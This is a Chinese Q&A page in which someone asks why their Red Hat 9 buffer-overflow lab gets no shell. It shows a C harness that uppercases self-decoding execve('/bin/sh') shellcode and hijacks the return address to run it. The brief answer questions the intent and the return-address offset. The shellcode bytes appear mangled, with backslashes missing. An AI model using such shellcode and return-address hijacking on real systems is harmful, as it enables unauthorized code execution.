问题描述
- 缓冲区溢出实验 red hat 9下,小写会转大写为什么得不到shell
-
test.c
#include
#includechar shellcode[] =
"xebx38x5e”
“x80x46x01x50”
“x80x46x02x50”
“x80x46x03x50”
“x80x46x05x50”
“x80x46x06x50"
"x89xf0x83xc0x08x89x46x08”
"x31xc0x88x46x07x89x46x0cxb0x0b"
"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
"x80xc3xdcxffxffxff”
“x2fx12x19x1ex2fx23x18”;void main() {
int *ret;
ret = (int *)&ret + 2;
int i;
for(i=0;i<strlen(shellcode);i++)
shellcode[i]=toupper(shellcode[i]);
(*ret) = (int)shellcode;}
解决方案
这是什么意图,是说toupper有缓冲区溢出的漏洞吗?
ps,返回地址多半不是&ret+2。
时间: 2024-12-04 10:14:08